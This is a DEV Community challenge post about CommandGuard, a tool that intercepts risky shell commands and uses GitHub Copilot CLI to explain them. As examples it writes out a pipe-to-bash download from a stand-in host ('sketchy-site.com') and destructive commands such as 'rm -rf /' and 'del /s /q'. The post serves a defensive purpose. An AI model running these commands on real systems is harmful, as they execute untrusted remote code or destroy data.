DEV Community

Cover image for Every Developer’s Worst Command — Now With an Undo Button
Arya Koste
Arya Koste

Posted on

Every Developer’s Worst Command — Now With an Undo Button

GitHub Copilot CLI Challenge Submission

This is a submission for the GitHub Copilot CLI Challenge

😱 The "Oh No" Moment

You’re in the zone, hacking away at 2 AM.

You copy a command from Stack Overflow, paste it, hit Enter...

And then that deep, primal dread hits you.

“Wait. Did I just nuke my entire project?”

“Was that script from 2012 even safe?”

“Why is my fan spinning up like a jet engine?”

We’ve all been there.

In the AI era, we’re copying faster than we’re thinking — and sometimes, that’s a recipe for digital disaster.

Enter 🛡️ CommandGuard — your terminal’s guardian angel.


💡 What I Built

CommandGuard is the ultimate terminal safety net.

It’s the “Are you sure about that?” voice you wish you had before catastrophic commands strike.

Instead of just blocking rm -rf / using regex, CommandGuard uses GitHub Copilot CLI to actually understand the intent behind your commands.

It:

  1. Analyzes the command’s purpose.
  2. Explains what it really does — in plain English.
  3. Suggests safer alternatives.

It’s like having that one senior DevOps engineer who calmly saves you from yourself.


Scenario:

  1. User types: curl http://sketchy-site.com/run.sh | bash
  2. CommandGuard Intercepts! 🛑
  3. Copilot Analysis: "This command downloads and executes a remote script immediately. This is high risk."
  4. Suggestion: "Download the script first, inspect it, then run it."

📸 Screenshots

I have also included powershell and terminal hooks to intercept commands in real time but if you are worried. I would just recommend just use the commandguard cli interface.


🛠️ How It Works (The "Wacky" Part)

This isn't just a bash alias. It's a full-blown interception system.

The Stack

  • Node.js + TypeScript: The brain.
  • Commander.js: The CLI framework.
  • GitHub Copilot CLI: The intelligence.
  • SQLite: The memory (keeps track of your accidental near-misses).
  • Chalk + Boxen: The style.

The Architecture

graph TD
    A[User types command] -->|Intercept| B(Shell Hook)
    B --> C{Is it dangerous?}
    C -- No --> D[Execute Command]
    C -- Yes --> E[Call GitHub Copilot]
    E --> F[Analyze Risk & Generate Explanation]
    F --> G[Display Warning UI]
    G --> H{User Action}
    H -- Abort --> I[Safe!]
    H -- Proceed --> D
Enter fullscreen mode Exit fullscreen mode
  1. Intercept: You type a command. CommandGuard hooks into your shell (Bash, Zsh, PowerShell).
  2. Analyze: It sends the command to GitHub Copilot's CLI.
  3. Assess: The AI evaluates the risk. Is this command destructive? Is it common?
  4. Explain: It breaks down exactly what the command will do.
  5. Decide: You get a clear, interactive prompt.
    • 🚫 Abort: Stop it in its tracks.
    • Proceed: Run it (if you're sure).
    • 💡 Alternative: Run a safer version suggested by the AI.

Or if you are worried about typing any command just ask away and it will suggest you the command.


🏆 Category Submission: Wacky Wildcards

Why wacky? because I'm basically asking an AI to police my shell. It's an AI judging another AI's output (if you got the command from ChatGPT). It's AI-ception.


🚀 Key Features

  • Real-time Interception: Hooks directly into bash and zsh.
  • AI-Powered Context: Understands why a command is dangerous, not just that it's dangerous.
  • Disaster Counter: A dashboard showing how many times you almost destroyed your PC.
  • Educational: Teaches you why chmod 777 is bad, better than any tutorial.
  • Suggestions: You can also write which command you want and it will suggest you right away.

🏃‍♂️ Try It Out

Installation


# Install directly from GitHub
npm install -g github:Aryakoste/commandguard

# Setup the hooks
commandguard setup

# Restart your terminal
source ~/.bashrc
Enter fullscreen mode Exit fullscreen mode

That's it. Your terminal is now guarded.

Now you can also use its cli use.


# Analyze the command
commandguard analyze "rm -rf"

# Intercept the command
commandguard intercept "del /s /q"

# Suggest an command
commandguard suggest "push all my files in github repository"

# See the dashboard
commandguard dashboard

# See all the commands
commandguard help

Enter fullscreen mode Exit fullscreen mode

⚙️ Configuration

Want to tweak how CommandGuard behaves? You can configure it to your liking.

For example, to enable the AI-only mode (which skips local checks and goes straight to Copilot for everything), run:

commandguard config set ai-mode true
Enter fullscreen mode Exit fullscreen mode

🔮 Future Plans

  • Team Policies: Share blocked command lists with your team.
  • VS Code Extension: visual warnings in the integrated terminal.

Links


Made with ❤️, ☕, and a healthy fear of sudo.

Top comments (0)